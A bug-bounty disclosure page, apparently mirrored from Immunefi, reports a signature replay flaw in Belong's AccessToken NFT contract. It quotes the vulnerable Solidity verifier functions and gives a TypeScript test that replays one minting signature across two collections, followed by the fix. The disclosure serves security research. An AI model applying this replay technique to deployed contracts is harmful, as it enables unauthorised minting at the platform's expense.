Skip to content
Smart contracts Audit finding Intermediate

Unauthorized minting of nfts due to signature replay

Minting signatures in the AccessToken contract do not include a collection identifier, so a signature issued for one NFT collection can be replayed to mint in another collection. An attacker could reuse a valid signature to mint NFTs without authorisation in a different collection.

Oxv1bh4 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57634 sc medium unauthorized minting of nfts due to signature replay

Submitted on Oct 27th 2025 at 19:25:33 UTC by @Oxv1bh4 for Audit Comp | Belong

Description

Brief/Intro

A valid minting signature can be replayed across different NFT collections deployed on the platform. This allows unauthorized minting of NFTs in other collections using a signature originally issued for a different one.

Vulnerability Details

In the AccessToken contract, the functions mintStaticPrice and mintDynamicPrice handle the minting of new NFTs within a collection. Each minting action is authorized using a backend-generated EIP-712 signature that includes the fields: receiver, tokenId, tokenUri, whitelisted, and block.chainid.

Because the signature does not include any unique identifier that ties it to a specific NFT collection, the same signature can be reused to mint an NFT with the same tokenId and tokenUri in another collection. This leads to a replay scenario where a signature approved for one collection can be replayed across different collections.

The following SignatureVerifier library functions used to verify static and dynamic price minting signatures lack a unique collection-level identifier in the signed payload. As a result, a valid signature can be replayed across multiple NFT collections, enabling unauthorized minting without additional approval.

Solidity
function checkStaticPriceParameters(address signer, address receiver, StaticPriceParameters calldata params)
        external
        view
    {
        require(
            signer.isValidSignatureNow(
                keccak256(
                    abi.encodePacked(receiver, params.tokenId, params.tokenUri, params.whitelisted, block.chainid)
                ),
                params.signature
            ),
            InvalidSignature()
        );
    }
function checkDynamicPriceParameters(address signer, address receiver, DynamicPriceParameters calldata params)
        external
        view
    {
        require(
            signer.isValidSignatureNow(
                keccak256(abi.encodePacked(receiver, params.tokenId, params.tokenUri, params.price, block.chainid)),
                params.signature
            ),
            InvalidSignature()
        );
    }

Impact Details

A valid signature can be replayed across collections, allowing unauthorized NFT mints - CRITICAL

{% hint style="warning" %} Unauthorized minting of NFTs is possible because signatures are not bound to a specific collection. {% endhint %}

References

<details> <summary>Contract &#x26; verifier references (expand)</summary> </details>

Proof of Concept

Include the following test case within the Mint describe block in test/v2/tokens/accessToken.test.sol.

{% code title="test/v2/tokens/accessToken.test.ts" %}

TS
 it.only('Unauthorized minting of NFTs', async () => {
      // Load the base fixture to set up the environment and contracts
      const {
        accessTokenEth, // AccessToken instance accepting native currency
        accessTokenERC20, // AccessToken instance accepting ERC20 tokens
        creator, // Test account acting as the NFT creator
        signer, // Backend signer used for signature authorization
        erc20Example, // Example ERC20 token used for payment
      } = await loadFixture(fixture);

      // Construct the message hash used for static price minting authorization
      // Signature includes receiver, tokenId, tokenUri, whitelisted flag, and chainId
      const message = EthCrypto.hash.keccak256([
        { type: 'address', value: creator.address },
        { type: 'uint256', value: 0 },
        { type: 'string', value: NFT_721_BASE_URI },
        { type: 'bool', value: false },
        { type: 'uint256', value: chainId },
      ]);

      // Sign the message with the backend signer’s private key
      // This signature is valid for the first collection (accessTokenEth)
      const signature = EthCrypto.sign(signer.privateKey, message);

      // Mint an NFT in the ETH-based collection using the valid signature
      await accessTokenEth.connect(creator).mintStaticPrice(
        creator.address,
        [
          {
            tokenId: 0,
            tokenUri: NFT_721_BASE_URI,
            whitelisted: false,
            signature,
          } as StaticPriceParametersStruct,
        ],
        NATIVE_CURRENCY_ADDRESS,
        ethPurchasePrice,
        {
          value: ethPurchasePrice,
        },
      );

      // Mint ERC20 tokens for the creator and approve the AccessToken contract to spend them
      await erc20Example.connect(creator).mint(creator.address, tokenPurchasePrice);
      await erc20Example.connect(creator).approve(accessTokenERC20.address, ethers.constants.MaxUint256);

      // Replay the same signature on a different collection (ERC20-based)
      // This should not be allowed but currently succeeds due to missing unique identifier in the signature
      await accessTokenERC20.connect(creator).mintStaticPrice(
        creator.address,
        [
          {
            tokenId: 0,
            tokenUri: NFT_721_BASE_URI,
            whitelisted: false,
            signature,
          } as StaticPriceParametersStruct,
        ],
        erc20Example.address,
        tokenPurchasePrice,
      );
    });

{% endcode %}

Run the command npm run test

The original report as published on Immunefi, by Oxv1bh4. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The signed payload omits a unique collection identifier, so signatures are not bound to a specific NFT collection and can be replayed across collections.

Impact

A valid signature could be replayed across collections, allowing unauthorised minting of NFTs.

What the attacker needed

A valid backend minting signature; a second collection on the platform; payment tokens for the second mint

The fix

The signed payload should include a unique collection-level identifier so a signature is only valid for the collection it was issued for.

How it was found

  1. Obtain a valid backend signature for a static-price mint in one collection.
  2. Mint an NFT in the first collection using that signature.
  3. Approve the second collection contract to spend the payment token.
  4. Replay the same signature against a different collection with the same tokenId and tokenUri, which succeeds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you mint an NFT, the platform's backend signs a message to prove the mint was approved. That signed message is meant to be used once, for one specific collection. Here the message never says which collection it belongs to, so the same approval can be used again on a different collection to mint an NFT the backend never approved.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by Oxv1bh4

View all

4 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.